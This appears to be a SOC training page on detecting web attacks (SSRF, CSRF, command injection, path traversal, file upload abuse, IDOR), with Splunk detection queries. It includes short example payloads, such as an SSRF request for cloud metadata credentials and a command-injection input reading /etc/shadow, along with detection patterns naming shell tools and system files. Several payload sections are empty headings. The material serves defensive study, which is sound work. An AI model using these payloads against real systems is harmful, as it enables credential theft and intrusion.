Web App Attacks — SSRF, CSRF, Command Injection, IDOR

What Web Application Attacks Are for the SOC

Web application attacks target the application layer (Layer 7). They exploit flaws in how applications handle user input, manage sessions, and enforce authorization. These are the attacks that bypass network defenses because they use legitimate HTTP traffic.

• Most web application attacks map to MITRE ATT&CK T1190 (Exploit Public-Facing Application) — the attacker is using a public web application as their initial access vector.
• WAF logs are the primary detection source, but understanding what the attacker is doing requires interpreting HTTP parameters, headers, and response codes.
• Many attacks chain together: SQL injection for initial access, SSRF to reach an internal service, followed by command injection on that internal service.

SSRF — Server-Side Request Forgery

SSRF occurs when an attacker makes a server-side application send HTTP requests to an attacker-controlled destination. The application acts as a proxy — the attacker uses the server’s network trust to access internal resources, including cloud metadata.

How SSRF Works

Attacker → App: "Fetch this URL: http://169.254.169.254/latest/meta-data/"
App → Internal AWS Metadata API: HTTP GET
App ← Attacker: "Here's your IAM credentials from metadata"

SSRF Payload Patterns

Detection — SSRF in WAF and Server Logs

WAF log indicators:

• URL parameter containing 169.254.169.254 (cloud metadata IP) — immediate escalation
• URL parameter containing localhost, 127.0.0.1, 0.0.0.0, [::1] — internal resource access
• URL parameter containing RFC 1918 addresses (10.x, 172.16-31.x, 192.168.x)
• URL parameter with file://, gopher://, dict:// protocols — non-HTTP protocol abuse
• Response time anomalies — internal endpoints may respond differently than external

Server log indicators:

• Outbound HTTP requests from the web server to internal IPs or cloud metadata endpoints
• DNS queries for internal hostnames from the web server
• Application error logs showing “Connection refused” to internal addresses

SPL query — detect SSRF via cloud metadata endpoint:

index=web sourcetype=waf_access
| search uri_path IN ("*/latest/meta-data/*", "*/metadata/instance*", "*/computeMetadata/*")
| stats count by src_ip, uri_path, http_method, response_code
| eval alert = "CRITICAL — SSRF to cloud metadata endpoint from " . src_ip
| table _time, src_ip, uri_path, response_code, alert

SPL query — detect SSRF to internal IP ranges:

index=proxy destination_ip IN ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")
| search sourcetype IN ("proxy", "web_server", "application_log")
| stats count by src_ip, destination_ip, destination_port, uri
| eval alert = "HIGH — Server making outbound request to internal IP — possible SSRF"
| table _time, src_ip, destination_ip, destination_port, uri, alert

Real-World SSRF Scenario

An attacker sends a POST to a web application’s PDF export feature with {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role"}. The application fetches the URL and includes the response in the PDF. The attacker downloads the PDF containing AWS IAM credentials.

What to look for: A web application endpoint that accepts URLs and the response contains cloud metadata content or credentials.

CSRF — Cross-Site Request Forgery

CSRF tricks an authenticated user’s browser into executing unintended actions on a web application where the user is currently authenticated.

How CSRF Works

1. User is authenticated to bank.com (session cookie in browser)
2. User visits attacker.com (in another tab or email link)
3. attacker.com sends a request to bank.com/transfer?amount=1000&to=attacker
4. The browser sends the session cookie automatically — the request appears legitimate
5. The transfer executes because the server trusts the session cookie

CSRF Payload Vectors

Detection — CSRF

CSRF is difficult to detect in network logs because the request is legitimate-looking — it has a valid session cookie, comes from the user’s IP, and targets real application endpoints.

What to look for:

• Referer header anomalies: Requests from unexpected referer domains (not the application’s domain)
• Origin header mismatch: Origin: https://attacker.com when the app is https://app.example.com
• Unusual action sequences: Actions the user would not normally take in that session (password change, then email forwarding, then fund transfer)
• Multiple CSRF violations in logs: Same user, same action, from different IPs / different times = CSRF testing

SPL query — detect missing or mismatched Referer header:

index=web sourcetype=waf_access
| search action IN ("password_change", "email_forward", "fund_transfer", "delete_account", "add_admin")
| eval referer_check = if(match(http_referer, "yourdomain\\.com"), "VALID", if(http_referer="*" OR isnull(http_referer), "MISSING", "SUSPICIOUS"))
| where referer_check != "VALID"
| stats count by src_ip, user, uri_path, http_referer, referer_check
| sort - count

Prevention (What to Tell the Dev Team)

Command Injection

Command injection occurs when an attacker injects operating system commands into an application input that is passed to a system shell.

How Command Injection Works

Vulnerable call: system("ping -c 1 " . $_GET['ip']);
Attacker input:  8.8.8.8; cat /etc/shadow
Executed:        ping -c 1 8.8.8.8; cat /etc/shadow

Command Injection Payloads

Detection — Command Injection

WAF log indicators:

• Command chaining operators (;, |, ||, &&, `) in input fields that expect IP addresses, hostnames, or file paths
• OS command names in input fields (whoami, id, cat, ls, dir, netstat, systeminfo)
• Shell metacharacters in unexpected fields (form fields, headers, file upload names)

Application log indicators:

• Processes spawned from the web server user (www-data, IUSR, NetworkService running cmd.exe, /bin/sh, bash)
• Unexpected child processes of the web application process
• Output of OS commands appearing in HTTP responses

SPL query — detect shell command execution from web server:

index=system processes
| search ParentProcessName="*httpd*" OR ParentProcessName="*nginx*" OR ParentProcessName="*w3wp*"
| search CommandLine IN ("*/bin/sh*", "*/bin/bash*", "*cmd.exe*", "*powershell*", "*whoami*", "*id*", "*cat /etc/*", "*dir c:\\*")
| stats count by ComputerName, ParentProcessName, CommandLine, UserName
| eval alert = "CRITICAL — Web server spawned shell — command injection on " . ComputerName
| table _time, ComputerName, CommandLine, UserName, alert

Path Traversal

Path traversal (directory traversal) allows an attacker to read files outside the web application’s root directory by manipulating file path parameters.

Path Traversal Payloads

Detection — Path Traversal

WAF log indicators:

• ../ or URL-encoded equivalents in URL parameters or request paths
• %2e%2e/ (encoded dot-dot-slash) patterns
• Attempted access to OS files (/etc/passwd, boot.ini, web.config, web.xml)
• Attempted access to application files outside the web root (WEB-INF/, META-INF/, .env, composer.json, package.json)

Server log indicators:

• 200 responses to requests that should 404 (e.g., /static/../../../etc/passwd returns file content)
• Application reads files outside expected directories
• Error messages revealing file system paths

File Upload Abuse

File upload abuse allows attackers to upload malicious content that gets stored on the server and executed.

File Upload Attack Types

Detection — File Upload Abuse

WAF log indicators:

• Executable extensions in upload filenames (.php, .asp, .jsp, .exe, .sh, .pl, .py, .war)
• Double extensions (.php.jpg, .asp.png)
• MIME type mismatch: Content-Type: image/jpeg but file signature is MZ (Windows executable) or ELF (Linux binary)
• Upload to directories that are web-accessible (uploads should be stored outside web root) — a key insider threat vector
• Subsequent HTTP access to the uploaded file path with execution (200 instead of 404/403)

IDOR — Insecure Direct Object Reference

IDOR occurs when an application exposes direct references to internal objects (database IDs, file paths, user IDs) and fails to verify that the user is authorized to access that specific object.

How IDOR Works

Legitimate: /api/users/1234/profile  → Returns Alice's profile
IDOR:       /api/users/1235/profile  → Returns Bob's profile (but should be blocked)

IDOR Payload Vectors

Detection — IDOR

WAF log indicators:

• Sequential access to IDs (/user/1001, /user/1002, /user/1003) — attacker enumerating user IDs
• Access to resources that reference objects the user should not own
• Response codes: 200 for resources the user should not access (should be 403)
• Error messages that reveal valid IDs (“User 1235 exists” vs. “User 9999 not found”)

SPL query — detect IDOR enumeration:

index=web sourcetype=waf_access
| rex field=uri_path "/(?:user|account|profile|invoice|document|order)/(?<object_id>\d+)"
| stats dc(object_id) as unique_ids_accessed, count as total_requests by src_ip, session_id, user
| where unique_ids_accessed > 5
| eval alert = "MEDIUM — " . src_ip . " accessed " . unique_ids_accessed . " unique IDs — possible IDOR enumeration"
| table _time, src_ip, user, unique_ids_accessed, total_requests, session_id, alert
| sort - unique_ids_accessed

CSSI — Cross-Site Script Inclusion and Other Lesser-Known Attacks (common in containerized apps)

Command Injection via HTTP Headers

Some applications log HTTP headers to files or databases — attackers can inject commands or XSS payloads into headers:

Related

• API Attacks — OWASP API Top 10 — detection and response for T1190 techniques
• SQL Injection — detection and response for T1190 techniques
• Kill Chain — covers the kill chain concepts
• OSI Model — covers the osi model concepts
• Metasploit — detection and response for T1203 techniques

Sources

• PortSwigger — Web Security Academy
• OWASP Web Application Security Testing Guide
• OWASP Top 10 — 2021
• MITRE ATT&CK T1190 — Exploit Public-Facing Application
• CWE-918: Server-Side Request Forgery